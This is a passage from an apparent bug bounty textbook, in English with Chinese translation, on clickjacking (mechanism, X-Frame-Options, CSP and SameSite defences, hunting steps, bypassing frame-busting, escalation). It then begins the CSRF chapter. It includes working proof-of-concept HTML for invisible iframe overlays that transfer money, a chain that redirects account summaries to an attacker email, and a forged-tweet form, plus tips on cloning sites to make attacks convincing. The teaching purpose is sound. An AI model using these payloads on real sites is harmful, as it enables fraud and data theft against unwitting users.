Iframes让网上世界变得更加充满活力和互动性。但是它们也会对被嵌套的网页构成危险，因为它们引入了点击劫持攻击的可能性。假设example.com是一个银行网站，包括一个可通过点击按钮转移您的资金的页面。您可以通过URL https://www.example.com/transfer_money 访问余额转移页面。

This URL accepts two parameters: the recipient account ID and the transfer amount. If you visit the URL with these parameters present, such as https://www.example.com/transfer_money?recipient=RECIPIENT_ACCOUNT&amount=AMOUNT_TO_TRANSFER , the HTML form on the page will appear prefilled ( Figure 8-3 ). All you have to do is to click the Submit button, and the HTML form will initiate the transfer request.

此URL接受两个参数：收件人账户ID和转账金额。如果您访问带有这些参数的URL，例如 https://www.example.com/transfer_money?recipient=RECIPIENT_ACCOUNT&amount=AMOUNT_TO_TRANSFER，页面上的HTML表单将自动填充（图8-3）。您只需点击提交按钮，HTML表单就会发起转账请求。

Figure 8-3 : The balance transfer page with the HTTP POST parameters prefilled

图8-3：具有预填HTTP POST参数的余额转移页面

Now imagine that an attacker embeds this sensitive banking page in an iframe on their own site, like this:

现在想象一下，如果攻击者将这个敏感的银行页面嵌入到他们自己的网站的 iframe 中，就像这样：

<html>
  <h3>Welcome to my site!</h3>
  <iframe src="https://www.example.com/transfer_money?
    recipient=attacker_account_12345&amount=5000"
    width="500" height="500">
  </iframe>
</html>

This iframe embeds the URL for the balance transfer page. It also passes in the URL parameters to prefill the transfer recipient and amount. The attacker hides this iframe on a website that appears to be harmless, then tricks the user into clicking a button on the sensitive page. To achieve this, they overlay multiple HTML elements in a way that obscures the banking form. Take a look at this HTML page, for example:

该 iframe 嵌入了余额转账页面的 URL。它还传递了 URL 参数以预填转账收件人和金额。攻击者将此 iframe 隐藏在一个看似无害的网站上，然后诱骗用户点击敏感页面上的按钮。为了实现这一点，他们以一种方式叠加多个 HTML 元素，以模糊银行表单。例如，看看这个 HTML 页面：

<html>
  <style>
      #victim-site {
        width:500px;
        height:500px;
      1 opacity:0.00001;
      2 z-index:1;
        }
      #decoy {
      3 position:absolute;
        width:500px;
        height:500px;
      4 z-index:-1;
        }
  </style>
  <div id="decoy">
  <h3>Welcome to my site!</h3>
  <h3>This is a cybersecurity newsletter that focuses on bug
bounty news and write-ups!
  Please subscribe to my newsletter below to receive new
cybersecurity articles in your email inbox!</h3>
  <form action="/subscribe" method="post">
    <label for="email">Email:</label>
  5 <br>
    <input type="text" id="email" value="Please enter your email!">
  6 <br><br>
    <input type="submit" value="Submit">
  </form>
  </div>
  <iframe id="victim-site"
    src="https://www.example.com/transfer_money?
    recipient=attacker_account_12345&amount=5000"
    width="500" height="500">
  </iframe>
</html>

You can see that we’ve added a <style> tag at the top of the HTML page. Anything between <style> tags is CSS code used to specify the styling of HTML elements, such as font color, element size, and transparency. We can style HTML elements by assigning them IDs and referencing these in our style sheet.

你可以看到我们在HTML页面顶部添加了一个<style>标签。在<style>标签之间的任何内容都是CSS代码，用于指定HTML元素的样式，例如字体颜色、元素大小和透明度。我们可以通过为它们分配ID并引用这些ID来设置HTML元素的样式。

Here, we set the position of our decoy element to absolute to make the decoy site overlap with the iframe containing the victim site 3 . Without the absolute position directive, HTML would display these elements on separate parts of the screen. The decoy element includes a Subscribe to Newsletter button, and we carefully position the iframe so the Transfer Balance button sits directly on top of this Subscribe button, using new lines created by HTML’s line break tag <br> 5 6 . We then make the iframe invisible by setting its opacity to a very low value 1 . Finally, we set the z-index of the iframe to a higher value than the decoys 2 4 . The z-index sets the stack order of different HTML elements. If two HTML elements overlap, the one with the highest z-index will be on top.

在这里，我们将我们的幌子元素的位置设置为绝对位置，使得幌子站点与包含受害者站点3的iframe重叠。没有绝对位置指令，HTML会在屏幕的不同部分显示这些元素。幌子元素包括一个“订阅通讯”按钮，我们仔细地定位了iframe，使得“转移余额”按钮直接位于这个“订阅”按钮的上方，使用HTML的换行标签< br >5 6创建新的行。然后，我们通过将iframe的不透明度设置为非常低的值1使其不可见。最后，我们将iframe的z-index设置为比幌子的高2 4。z-index设置不同HTML元素的堆叠顺序。如果两个HTML元素重叠，具有最高z-index的元素将位于顶部。

By setting these CSS properties for the victim site iframe and decoy form, we get a page that looks like it’s for subscribing to a newsletter, but contains an invisible form that transfers the user’s money into the attacker’s account. Let’s turn the opacity of the iframe back to opacity :1 to see how the page is actually laid out. You can see that the Transfer Balance button is located directly on top of the Subscribe to Newsletter button ( Figure 8-4 ).

通过为受害者网站的iframe和诱饵表单设置这些CSS属性，我们得到了一个看起来像是订阅新闻的页面，但实际上包含一个将用户的钱转移到攻击者账户的不可见表单。让我们将iframe的不透明度反转为opacity:1，以查看页面的实际布局。您可以看到“转账余额”按钮直接位于“订阅新闻”按钮上方（图8-4）。

Figure 8-4 : The Transfer Balance button lies directly on top of the Subscribe button. Victims think they’re subscribing to a newsletter, but they’re actually clicking the button to authorize a balance transfer.

图8-4：转账按钮直接位于订阅按钮上方。受害者以为自己是在订阅新闻通讯，但实际上点击的是授权转账的按钮。

Once we reset the opacity of the iframe to opacity:0.00001 to make the sensitive form invisible, the site looks like a normal newsletter page ( Figure 8-5 ).

当我们将Iframe的不透明度重置为opacity:0.00001使敏感表单变得不可见，该网站就像普通的通讯页面（图8-5）。

Figure 8-5 : The attacker tricks users into clicking the button by making the sensitive form invisible.

图8-5：攻击者通过使敏感表单不可见来诱使用户单击按钮。

If the user is logged into the banking site, they’ll be logged into the iframe too, so the banking site’s server will recognize the requests sent by the iframe as legit. When the user clicks the seemingly harmless button, they’re executing a balance transfer on example.com ! They’ll have accidentally transferred $5,000 from their bank account balance to the attacker’s account instead of subscribing to a newsletter. This is why we call this attack user-interface redressing or clickjacking : the attacker redressed the user interface to hijack user clicks, repurposing the clicks meant for their page and using them on a victim site.

如果用户已登录银行网站，则他们也将登录iframe，因此银行网站的服务器将识别iframe发送的请求为合法的。 当用户单击看似无害的按钮时，他们正在执行将5000美元从其银行账户余额转移至攻击者账户的余额转移操作，而非订阅通讯。 这就是为什么我们称之为用户界面伪装或点击劫持攻击：攻击者重新设计了用户界面以劫持用户点击，重定向了原本用于其页面的点击并将它们用在受害站点上。

This is a simplified example. In reality, payment applications will not be implemented this way, because it would violate data security standards. Another thing to remember is that the presence of an easy-to-prevent vulnerability on a critical functionality, like a clickjacking vulnerability on the balance transfer page, is a symptom that the application does not follow the best practices of secure development. This example application is likely to contain other vulnerabilities, and you should test it extensively.

这只是一个简化的例子。在现实中，支付应用程序不会以这种方式实现，因为这样做将违反数据安全标准。另一件需要记住的事情是，如果在关键功能（例如余额转移页面）上存在易于预防的漏洞，比如点击劫持漏洞，这是应用程序未遵循安全开发最佳实践的症状。这个例子应用程序很可能还存在其他漏洞，你应该进行全面测试。

Prevention

Two conditions must be met for a clickjacking vulnerability to happen. First, the vulnerable page has to have functionality that executes a state-changing action on the user’s behalf. A state-changing action causes changes to the user’s account in some way, such as changing the user’s account settings or personal data. Second, the vulnerable page has to allow itself to be framed by an iframe on another site.

点击劫持漏洞发生必须满足两个条件。第一，易受攻击的页面必须具有代表用户执行状态更改操作的功能。状态更改操作会以某种方式更改用户账户，例如更改用户的账户设置或个人数据。第二，易受攻击的页面必须允许自己被另一个网站的 iframe 框架化。

The HTTP response header X-Frame-Options lets web pages indicate whether the page’s contents can be rendered in an iframe. Browsers will follow the directive of the header provided. Otherwise, pages are frameable by default.

HTTP响应头X-Frame-Options允许网页指示页面内容是否可以呈现在iframe中。浏览器将遵循提供的头指令。否则，页面默认可呈现在框架中。

This header offers two options: DENY and SAMEORIGIN . If a page is served with the DENY option, it cannot be framed at all. The SAMEORIGIN option allows framing from pages of the same origin: pages that share the same protocol, host, and port.

本标题提供两个选项：DENY和SAMEORIGIN。如果页面使用DENY选项进行服务，它将无法被框架。SAMEORIGIN选项允许来自相同源的页面进行框架：即协议、主机和端口相同的页面。

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

To prevent clickjacking on sensitive actions, the site should serve one of these options on all pages that contain state-changing actions.

为了防止在敏感操作时遭受点击劫持攻击，网站应该在所有包含状态变更操作的页面上提供以下选项之一。

The Content-Security-Policy response header is another possible defense against clickjacking. This header’s frame-ancestors directive allows sites to indicate whether a page can be framed. For example, setting the directive to 'none' will prevent any site from framing the page, whereas setting the directive to 'self' will allow the current site to frame the page:

内容安全策略响应头是对抗点击劫持的另一种可能的防御方式。该响应头的frame-ancestors指令允许网站指示页面是否可以被框架。例如，将指令设置为“none”将阻止任何站点框架该页面，而将指令设置为“self”则允许当前站点框架该页面。

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';

Setting frame-ancestors to a specific origin will allow that origin to frame the content. This header will allow the current site, as well as any page on the subdomains of example.com , to frame its contents:

将框架祖先设置为特定的来源将允许该来源对内容进行框架化。此头文件将允许当前站点以及 example.com 子域上的任何页面对其内容进行框架化：

Content-Security-Policy: frame-ancestors 'self' *.example.com;

Besides implementing X-Frame-Options and the Content-Security-Policy to ensure that sensitive pages cannot be framed, another way of protecting against clickjacking is with SameSite cookies. A web application instructs the user’s browser to set cookies via a Set-Cookie header. For example, this header will make the client browser set the value of the cookie PHPSESSID to UEhQU0VTU0lE :

除了实现X-Frame-Options和Content-Security-Policy以确保敏感页面不能被嵌套，另一种防止点击劫持的方法是使用SameSite cookies。Web应用程序通过Set-Cookie头指示用户浏览器设置cookie。例如，此头将使客户端浏览器将cookie PHPSESSID的值设置为UEhQU0VTU0lE：。

Set-Cookie: PHPSESSID=UEhQU0VTU0lE

In addition to the basic cookie_name=cookie_value designation, the Set-Cookie header allows several optional flags you can use to protect your users’ cookies. One of them is the SameSite flag, which helps prevent clickjacking attacks. When the SameSite flag on a cookie is set to Strict or Lax , that cookie won't be sent in requests made within a third-party iframe:

除了基本的cookie_name = cookie_value指定之外，Set-Cookie头允许使用几个可选标志，以保护您的用户的cookie。其中之一是SameSite标志，它可以帮助防止点击劫持攻击。当SameSite标志设置为Strict或Lax时，该cookie不会在第三方iframe中发送的请求中发送：

Set-Cookie: PHPSESSID=UEhQU0VTU0lE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict
Set-Cookie: PHPSESSID=UEhQU0VTU0lE; Max-Age=86400; Secure; HttpOnly; SameSite=Lax

This means that any clickjacking attack that requires the victim to be authenticated, like the banking example we mentioned earlier, would not work, even if no HTTP response header restricts framing, because the victim won’t be authenticated in the clickjacked request.

这意味着任何需要受害者进行身份验证的点击劫持攻击，例如我们之前提到的银行示例，即使没有HTTP响应标头限制框架，也不起作用，因为在即被点击劫持的请求中，受害者不会被认证。

Hunting for Clickjacking

Find clickjacking vulnerabilities by looking for pages on the target site that contain sensitive state-changing actions and can be framed.

通过寻找包含敏感状态更改操作并可以被框架的目标网站页面，找到点击劫持漏洞。

Step 1: Look for State-Changing Actions

Clickjacking vulnerabilities are valuable only when the target page contains state-changing actions. You should look for pages that allow users to make changes to their accounts, like changing their account details or settings. Otherwise, even if an attacker can hijack user clicks, they can’t cause any damage to the website or the user’s account. That’s why you should start by spotting the state-changing actions on a site.

点击劫持漏洞只有在目标页面包含状态更改操作时才有价值。您应该寻找允许用户对其帐户进行更改的页面，如更改帐户详细信息或设置。否则，即使攻击者能够劫持用户的点击，也无法对网站或用户的帐户造成任何损害。这就是为什么您应该从网站上识别状态变化的操作开始的原因。

For example, let’s say you’re testing a subdomain of example.com that handles banking functionalities at bank.example.com . Go through all the functionalities of the web application, click all the links, and write down all the state-changing options, along with the URL of the pages they’re hosted on:

例如，假设您正在测试 example.com 的一个子域名，该子域名在 bank.example.com 上处理银行功能。浏览 Web 应用程序的所有功能，单击所有链接，并记录所有状态更改选项以及它们托管的页面的 URL。

State-changing requests on bank.example.com

bank.example.com 上的状态更改请求

Change password: bank.example.com/password_change

Transfer balance: bank.example.com/transfer_money

Unlink external account: bank.example.com/unlink

You should also check that the action can be achieved via clicks alone. Clickjacking allows you to forge only a user’s clicks, not their keyboard actions. Attacks that require users to explicitly type in values are possible, but generally not feasible because they require so much social engineering. For example, on this banking page, if the application requires users to explicitly type the recipient account and transfer amount instead of loading them from a URL parameter, attacking it with clickjacking would not be feasible.

你还应该确认该操作是否仅可通过点击实现。点击劫持仅能伪造用户点击而非键盘操作。攻击需要用户明确输入数值的情况是可能的，但通常并不可行，因为需要大量的社会工程。例如，在这个银行页面上，如果应用程序要求用户明确输入收款人账户和转账金额，而非从URL参数中加载，使用点击劫持攻击将不可行。

Step 2: Check the Response Headers

Then go through each of the state-changing functionalities you’ve found and revisit the pages that contain them. Turn on your proxy and intercept the HTTP response that contains that web page. See if the page is being served with the X-Frame-Options or Content-Security-Policy header.

然后，逐个检查您发现的改变状态的功能，并重新访问包含它们的页面。开启代理，并拦截包含该网页的HTTP响应。查看页面是否使用X-Frame-Options或Content-Security-Policy报头提供服务。

If the page is served without any of these headers, it may be vulnerable to clickjacking. And if the state-changing action requires users to be logged in when it is executed, you should also check if the site uses SameSite cookies. If it does, you won’t be able to exploit a clickjacking attack on the site’s features that require authentication.

如果页面没有添加这些头信息，则有可能存在点击劫持漏洞。如果状态改变操作需要在用户登录时执行，请检查站点是否使用 SameSite Cookie。如果是，则无法滥用需要身份验证的站点功能的点击劫持攻击。

Although setting HTTP response headers is the best way to prevent these attacks, the website might have more obscure safeguards in place. For example, a technique called frame-busting uses JavaScript code to check if the page is in an iframe, and if it’s framed by a trusted site. Frame-busting is an unreliable way to protect against clickjacking. In fact, frame-busting techniques can often be bypassed, as I will demonstrate later in this chapter.

虽然设置HTTP响应头是防止这些攻击的最佳方法，但网站可能会有更隐蔽的保护措施。例如，一种名为"frame-busting"的技术使用JavaScript代码检查页面是否处于iframe中，并且是否被受信任的站点框架。"frame-busting"是一种不可靠的防止点击劫持的方式。实际上，"frame-busting"技术经常被绕过，就像我后面在本章将演示的那样。

You can confirm that a page is frameable by creating an HTML page that frames the target page. If the target page shows up in the frame, the page is frameable. This piece of HTML code is a good template:

通过创建一个包含目标页面的框架HTML页面，您可以确认该页面是否可嵌入。如果目标页面出现在框架中，则页面是可嵌入的。以下是一个不错的HTML代码模板：

<HTML>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>Web page is vulnerable to clickjacking if the iframe is populated with the target page!</p>
    <iframe src="URL_OF_TARGET_PAGE" width="500" height="500"></iframe>
  </body>
</html>

Step 3: Confirm the Vulnerability

Confirm the vulnerability by executing a clickjacking attack on your test account. You should try to execute the state-changing action through the framed page you just constructed and see if the action succeeds. If you can trigger the action via clicks alone through the iframe, the action is vulnerable to clickjacking.

通过在您的测试账户上执行“点击劫持”攻击来确认漏洞。您应该尝试通过刚刚构建的框架页面执行状态更改操作，并查看该操作是否成功。如果您可以仅通过 iframe 上的点击触发该操作，则该操作易受点击劫持攻击。

Bypassing Protections

Clickjacking isn’t possible when the site implements the proper protections. If a modern browser displays an X-Frame-Options protected page, chances are you can’t exploit clickjacking on the page, and you’ll have to find another vulnerability, such as XSS or CSRF, to achieve the same results. Sometimes, however, the page won’t show up in your test iframe even though it lacks the headers that prevent clickjacking. If the website itself fails to implement complete clickjacking protections, you might be able to bypass the mitigations.

如果网站实施了适当的保护措施，则无法进行点击劫持。如果现代浏览器显示与X-Frame-Options受保护的页面，则很有可能无法在该页面上利用点击劫持，并且您将不得不寻找另一个漏洞（例如XSS或CSRF）来实现相同的结果。然而，有时即使缺少防止点击劫持的标头，页面也不会显示在您的测试iframe中。如果网站本身未能实施完整的点击劫持保护，则您可能能够绕开缓解措施。

Here’s an example of what you can try if the website uses frame-busting techniques instead of HTTP response headers and SameSite cookies: find a loophole in the frame-busting code. For instance, developers commonly make the mistake of comparing only the top frame to the current frame when trying to detect whether the protected page is framed by a malicious page. If the top frame has the same origin as the framed page, developers may allow it, because they deem the framing site’s domain to be safe. Essentially, the protection’s code has this structure:

以下是一个示例，您可以尝试此方法，如果网站采用的是框架防护技术而不是HTTP响应头和SameSite cookie：查找框架防护代码中的漏洞。例如，开发人员通常会犯一个错误，只比较当前页面的顶部框架，以检测所保护的页面是否被恶意页面包围。如果顶部框架与被包含页面具有相同的来源，开发人员可能会允许它，因为他们认为框架站点的域是安全的。本质上，保护的代码具有以下结构：“

if (top.location == self.location){
  // Allow framing.
}
else{
  // Disallow framing.
}

If that is the case, search for a location on the victim site that allows you to embed custom iframes. For example, many social media sites allows users to share links on their profile. These features often work by embedding the URL in an iframe to display information and a thumbnail of the link. Other common features that require custom iframes are those that allow you to embed videos, audio, images, and custom advertisements and web page builders.

如果是这样的话，请在受害者网站上寻找一个允许你嵌入自定义iframe的位置。例如，许多社交媒体网站允许用户在个人资料中分享链接。这些功能通常是通过嵌入URL来显示链接信息和缩略图的iframe实现的。其他常见的需要自定义iframe的功能包括允许你嵌入视频、音频、图片、自定义广告和网页建设者。

If you find one of these features, you might be able to bypass clickjacking protection by using the double iframe trick . This trick works by framing your malicious page within a page in the victim’s domain. First, construct a page that frames the victim’s targeted functionality. Then place the entire page in an iframe hosted by the victim site ( Figure 8-6 ).

如果您发现其中一种功能，您可能可以通过使用双重iframe技巧绕过点击劫持保护。这个技巧的工作原理是，在受害者的域名中将您的恶意页面放在一个页面中。首先，构建一个包含受害者目标功能的页面。然后将整个页面放置在受害者站点托管的iframe中（图8-6）。

Figure 8-6 : You can try to place your site in an iframe hosted by the victim site to bypass improper frame checking.

图8-6：您可以尝试将您的站点放置在受害者站点托管的iframe中，以绕过不当的框架检查。

This way, both top.location and self.location point to victim.com . The frame-busting code would determine that the innermost victim.com page is framed by another victim.com page within its domain, and therefore deem the framing safe. The intermediary attacker page would go undetected.

这样，top.location和self.location都指向victim.com。防框架代码将确定最内层的victim.com页面被同一域中的另一个victim.com页面框架化，因此将视该框架化为安全的。中间人攻击页面将不被检测到。

Always ask yourself if the developer may have missed any edge cases while implementing protection mechanisms. Can you exploit these edge cases to your advantage?

始终问自己，开发人员在实施保护机制时是否可能错过了任何边缘情况。你能利用这些边缘情况获得优势吗？

Let’s take a look at an example report. Periscope is a live streaming video application, and on July 10, 2019, it was found to be vulnerable to a clickjacking vulnerability. You can find the disclosed bug report at https://hackerone.com/reports/591432/ . The site was using the X-Frame-Options ALLOW-FROM directive to prevent clickjacking. This directive lets pages specify the URLs that are allowed to frame it, but it’s an obsolete directive that isn’t supported by many browsers. This means that all features on the subdomains https://canary-web.pscp.tv and https://canary-web.periscope.tv were vulnerable to clickjacking if the victim was using a browser that didn’t support the directive, such as the latest Chrome, Firefox, and Safari browsers. Since Periscope’s account settings page allows users to deactivate their accounts, an attacker could, for example, frame the settings page and trick users into deactivating their accounts.

让我们看一个示例报告。Periscope是一个实时流媒体视频应用，在2019年7月10日发现它存在点击劫持漏洞。您可以在https://hackerone.com/reports/591432/上找到公开的漏洞报告。该站点使用的X-Frame-Options ALLOW-FROM指令来防止点击劫持。这个指令允许页面指定允许它使用框架的URL，但这是一个过时的指令，许多浏览器不支持。这意味着如果受害者使用不支持该指令的浏览器（如最新的Chrome、Firefox和Safari浏览器），那么在https://canary-web.pscp.tv和https://canary-web.periscope.tv子域名上的所有功能都容易受到点击劫持攻击。由于Periscope的帐户设置页面允许用户停用他们的帐户，攻击者可以例如框架设置页面并骗取用户停用帐户。

Escalating the Attack

Websites often serve pages without clickjacking protection. As long as the page doesn’t contain exploitable actions, the lack of clickjacking protection isn’t considered a vulnerability. On the other hand, if the frameable page contains sensitive actions, the impact of clickjacking would be correspondingly severe.

网站通常在没有点击劫持保护的情况下提供页面。只要该页面不包含可利用的操作，缺乏点击劫持保护就不被视为漏洞。然而，如果可被框架化的页面包含敏感操作，则点击劫持的影响将相应严重。

Focus on the application’s most critical functionalities to achieve maximum business impact. For example, let’s say a site has two frameable pages. The first page contains a button that performs transfers of the user’s bank balance, while the second contains a button that changes the user’s theme color on the website. While both of these pages contain clickjacking vulnerabilities, the impact of a clickjacking bug is significantly higher on the first page than on the second.

侧重于应用程序的最关键功能，以实现最大的业务影响。例如，假设一个网站有两个可框架页面。第一页包含一个按钮，可以转移用户的银行余额，而第二页包含一个按钮，可以改变用户在网站上的主题颜色。虽然这两个页面都包含点击劫持漏洞，但点击劫持漏洞对第一页的影响明显比对第二页的影响更大。

You can also combine multiple clickjacking vulnerabilities or chain clickjacking with other bugs to pave the way to more severe security issues. For instance, applications often send or disclose information according to user preferences. If you can change these settings via clickjacking, you can often induce sensitive information disclosures. Let’s say that bank.example.com contains multiple clickjacking vulnerabilities. One of them allows attackers to change an account’s billing email, and another one allows attackers to send an account summary to its billing email. The malicious page’s HTML looks like this:

你还可以将多个点击劫持漏洞组合起来，或将点击劫持与其他漏洞链接在一起，以为更严重的安全问题铺平道路。例如，应用程序通常根据用户偏好发送或披露信息。如果您可以通过点击劫持更改这些设置，通常可以导致敏感信息泄露。假设 bank.example.com 包含多个点击劫持漏洞。其中一个允许攻击者更改账户的账单电子邮件，另一个允许攻击者向其账单电子邮件发送账户摘要。恶意页面的 HTML 如下所示：

<html>
  <h3>Welcome to my site!</h3>
  <iframe
    src="https://bank.example.com/change_billing_email?email=attacker@attacker.com"
    width="500" height="500">
  </iframe>
  <iframe src="https://bank.example.com/send_summary" width="500" height="500">
  </iframe>
</html>

You could first change the victim’s billing email to your own email, then make the victim send an account summary to your email address to leak the information contained in the account summary report. Depending on what the account summary discloses, you might be able to collect data including the street address, phone numbers, and credit card information associated with the account! Note that for this attack to succeed, the victim user would have to click the attacker’s site twice.

你可以先将受害者的账单电子邮件更改为你的电子邮件，然后让受害者将账户摘要发送到你的电子邮件地址，以泄露账户摘要报告中包含的信息。根据账户摘要披露的内容，你可能可以收集与该账户相关的街道地址、电话号码和信用卡信息等数据！请注意，为使此攻击成功，受害者用户必须点击攻击者的网站两次。

A Note on Delivering the Clickjacking Payload

Often in bug bounty reports, you’ll need to show companies that real attackers could effectively exploit the vulnerability you found. That means you need to understand how attackers can exploit clickjacking bugs in the wild.

在漏洞赏金报告中，通常需要向公司展示真正的攻击者如何有效地利用您发现的漏洞。这意味着您需要了解攻击者如何在现实环境中利用点击劫持漏洞。

Clickjacking vulnerabilities rely on user interaction. For the attack to succeed, the attacker would have to construct a site that is convincing enough for users to click. This usually isn’t difficult, since users don’t often take precautions before clicking web pages. But if you want your attack to become more convincing, check out the Social-Engineer Toolkit ( https://github.com/trustedsec/social-engineer-toolkit/ ). This set of tools can, among other things, help you clone famous websites and use them for malicious purposes. You can then place the iframe on the cloned website.

点击劫持漏洞依赖于用户互动。要使攻击成功，攻击者必须构建一个足够令用户点击的网站。通常情况下这不困难，因为用户在点击网页前通常不会采取预防措施。但如果你想让攻击更具说服力，请查看Social-Engineer Toolkit（https://github.com/trustedsec/social-engineer-toolkit/）。这套工具可以帮助你复制知名网站并将其用于恶意目的。然后，你可以在复制的网站上放置iframe。

In my experience, the most effective location in which to place the hidden button is directly on top of a Please Accept That This Site Uses Cookies! pop-up. Users usually click this button to close the window without much thought.

根据我的经验，将隐藏的按钮放置在“请接受本网站使用Cookies！”弹出窗口正上方的位置是最有效的。用户通常会不假思索地点击此按钮来关闭窗口。

Finding Your First Clickjacking Vulnerability!

Now that you know what clickjacking bugs are, how to exploit them, and how to escalate them, go find your first clickjacking vulnerability! Follow the steps described in this chapter:

既然你已经知道了点击劫持漏洞是什么，如何利用它们以及如何升级它们，那么就去找到你的第一个点击劫持漏洞吧！请按照本章所述的步骤进行操作。

Spot the state-changing actions on the website and keep a note of their URL locations. Mark the ones that require only mouse clicks to execute for further testing.

Check these pages for the X-Frame-Options , Content-Security-Policy header, and a SameSite session cookie. If you can’t spot these protective features, the page might be vulnerable!

Craft an HTML page that frames the target page, and load that page in a browser to see if the page has been framed.

Confirm the vulnerability by executing a simulated clickjacking attack on your own test account.

Craft a sneaky way of delivering your payload to end users, and consider the larger impact of the vulnerability.

Draft your first clickjacking report!

9
Cross-Site Request Forgery

Cross-site request forgery ( CSRF) is a client-side technique used to attack other users of a web application. Using CSRF, attackers can send HTTP requests that pretend to come from the victim, carrying out unwanted actions on a victim’s behalf. For example, an attacker could change your password or transfer money from your bank account without your permission.

跨站请求伪造（CSRF）是一种客户端技术，用于攻击Web应用程序的其他用户。利用CSRF，攻击者可以发送HTTP请求，假装来自受害者，在受害者的名义下执行不必要的操作。例如，攻击者可以在未经您许可的情况下更改您的密码或从您的银行账户转移资金。

CSRF attacks specifically target state-changing requests, like sending tweets and modifying user settings, instead of requests that reveal sensitive user info. This is because attackers won’t be able to read the response to the forged requests sent during a CSRF attack. Let’s get into how this attack works.

CSRF攻击专门针对状态更改请求，如发送推文和修改用户设置，而不是泄露敏感用户信息的请求。这是因为攻击者将无法读取CSRF攻击期间发送的伪造请求的响应。让我们深入了解这种攻击如何运作。

Mechanisms

Remember from Chapter 3 that most modern web applications authenticate their users and manage user sessions by using session cookies. When you first log in to a website, the web server establishes a new session: it sends your browser a session cookie associated with the session, and this cookie proves your identity to the server. Your browser stores the session cookies associated with that website and sends them along with every subsequent request you send to the site. This all happens automatically, without the user’s involvement.

大多数现代Web应用程序使用会话cookie对其用户进行认证和管理用户会话。当您首次登录网站时，Web服务器会建立一个新会话：它向您的浏览器发送与该会话相关联的会话cookie，并且该cookie可以向服务器证明您的身份。您的浏览器存储与该网站关联的会话cookie，并将它们与您发送到该网站的每个后续请求一起发送。这一切都是自动完成的，无需用户介入。

For example, when you log into Twitter, the Twitter server sends your browser the session cookie via an HTTP response header called Set-Cookie :

例如，当您登录Twitter时，Twitter服务器通过称为Set-Cookie的HTTP响应标头向您的浏览器发送会话cookie。

Set-Cookie: session_cookie=YOUR_TWITTER_SESSION_COOKIE;

Your browser receives the session cookie, stores it, and sends it along via the Cookie HTTP request header in every one of your requests to Twitter. This is how the server knows your requests are legit:

你的浏览器接收会话 cookie，并将其存储。在向 Twitter 发送的请求中，它通过 Cookie HTTP 请求标头将其发送。这就是服务器如何知道您的请求是合法的。

Cookie: session_cookie=YOUR_TWITTER_SESSION_COOKIE;

Armed with your session cookie, you can carry out authenticated actions like accessing confidential information, changing your password, or sending a private message without reentering your password. To get ahold of your own session cookies, intercept the requests your browsers send to the site after you’ve logged in.

使用您的会话cookie，您可以执行身份验证操作，如访问机密信息、更改密码或发送私信，而无需重新输入密码。要获取自己的会话cookie，请拦截浏览器在登录后发送到网站的请求。

Now let’s say there’s a Send a Tweet HTML form on Twitter’s web page. Users can enter their tweets by using this form and clicking the Submit button to send them ( Figure 9-1 ).

现在假设Twitter网页上有一个“发送推文”的HTML表单。用户可以使用该表单输入他们的推文，并点击提交按钮发送它们（图9-1）。

Figure 9-1 : An example HTML form that allows users to send a tweet

图9-1：一个允许用户发送推文的HTML表单的示例

Note that Twitter doesn’t really use this form (and Twitter’s actual Send a Tweet functionality isn’t vulnerable to CSRF attacks). The source code of the example HTML form looks like this:

请注意，Twitter实际上并不使用这种形式（且 Twitter 的“发送推文”功能不易受到 CSRF 攻击）。示例 HTML 表单的源代码如下：

<html>
1 <h1>Send a tweet.</h1>
2 <form method="POST" action="https://twitter.com/send_a_tweet">
  3 <input type="text" name="tweet_content" value="Hello world!">
  4 <input type="submit" value="Submit">
  </form>
</html>

The <h1> tags denote a first-level HTML heading 1 , whereas the <form> tags define the beginning and end of an HTML form 2 . The form has the method attribute POST and the action attribute https://twitter.com/send_a_tweet . This means that the form will submit a POST request to the https://twitter.com/send_a_tweet endpoint when the user clicks Submit. Next, an <input> tag defines a text input with the default value of Hello world! . When the form is submitted, any user input in this field will be sent as a POST parameter named tweet_content 3 . A second input tag defines the Submit button 4 . When users click this button, the form will be submitted.

<h1>标签代表HTML一级标题1，而<form>标签定义了HTML表单2的开头和结尾。 表单具有方法属性POST和动作属性https://twitter.com/send_a_tweet。这意味着当用户单击提交时，表单将向https://twitter.com/send_a_tweet端点提交POST请求。接下来，<input>标签定义了一个带有默认值Hello world！的文本输入。当表单被提交时，用户在该字段中的任何用户输入都将作为POST参数tweet_content 3发送。第二个输入标签定义了提交按钮4。当用户单击此按钮时，表单将被提交。

When you click the Submit button on the page, your browser will send a POST request to https://twitter.com/send_a_tweet . The browser will include your Twitter session cookie with the request. You could see the request generated by the form in your proxy. It should look something like this:

当您在页面上点击提交按钮时，您的浏览器将向https://twitter.com/send_a_tweet发送一个POST请求。浏览器将在请求中包含您的Twitter会话cookie。您可以在代理中查看表单生成的请求。它应该类似于这样：

POST /send_a_tweet
Host: twitter.com
Cookie: session_cookie=YOUR_TWITTER_SESSION_COOKIE

(POST request body)
tweet_content="Hello world!"

This functionality has a vulnerability: any site, and not just Twitter, can initiate this request. Imagine that an attacker hosts their own website that displays an HTML form like Figure 9-2 .

这个功能存在漏洞：任何网站，而不仅仅是 Twitter，都可以发起这个请求。想象一下，一个攻击者托管了自己的网站，显示一个类似于图 9-2 的 HTML 表单。

Figure 9-2 : An example HTML form that an attacker uses to exploit a CSRF vulnerability

图9-2：攻击者利用CSRF漏洞实施攻击的一个HTML表单示例。

The page’s source code is the following:

页面的源代码如下：

<html>
  <h1>Please click Submit.</h1>
  <form method="POST" action="https://twitter.com/send_a_tweet" id="csrf-form">
    <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!">
    <input type='submit' value="Submit">
  </form>
</html>

When you click the Submit button on this page, your browser will send a POST request. Because the browser automatically includes your Twitter session cookies in requests to Twitter, Twitter will treat the request as valid, causing your account to tweet Follow @vickieli7 on Twitter! Here’s the corresponding request:

当您在此页面上单击“提交”按钮后，您的浏览器将发送一个POST请求。由于浏览器会自动将您的Twitter会话cookie包含在对Twitter的请求中，Twitter会将该请求视为有效，导致您的帐户发布推文“在Twitter上关注@vickieli7！这是相应的请求：”

POST /send_a_tweet
Host: twitter.com
Cookie: session_cookie=YOUR_TWITTER_SESSION_COOKIE

(POST request body)
tweet_content="Follow @vickieli7 on Twitter!"

